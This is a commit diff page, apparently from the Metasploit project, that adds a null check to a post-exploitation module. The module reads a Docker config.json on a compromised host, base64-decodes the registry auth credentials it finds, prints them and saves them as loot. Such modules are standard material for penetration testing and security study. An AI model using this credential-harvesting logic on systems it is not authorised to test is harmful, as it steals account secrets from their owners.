Skip to content

Commit adbeab8

Browse files
committed
Avoid exceptions
1 parent 85f48b9 commit adbeab8

File tree

1 file changed

+10
-7
lines changed

1 file changed

+10
-7
lines changed

modules/post/multi/gather/docker_creds.rb

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -57,13 +57,16 @@ def download_loot(paths)
5757
def extract(target)
5858
file = read_file(target)
5959
parsed = JSON.parse(file)
60-
creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"]
61-
if creds.length > 0
62-
plain = Rex::Text.decode_base64(creds)
63-
print_good("Found #{plain}")
64-
loot_path = store_loot("docker.credentials", "text/plain", session, plain,
65-
"config.json", "Docker credentials from #{target}")
66-
print_good("Saved credentials to #{loot_path}")
60+
if parsed["auths"] && parsed["auths"]["https://index.docker.io/v1/"]
61+
creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"]
62+
63+
if creds.length > 0
64+
plain = Rex::Text.decode_base64(creds)
65+
print_good("Found #{plain}")
66+
loot_path = store_loot("docker.credentials", "text/plain", session, plain,
67+
"config.json", "Docker credentials from #{target}")
68+
print_good("Saved credentials to #{loot_path}")
69+
end
6770
else
6871
print_status("No credentials found in config file")
6972
end

0 commit comments

Comments
 (0)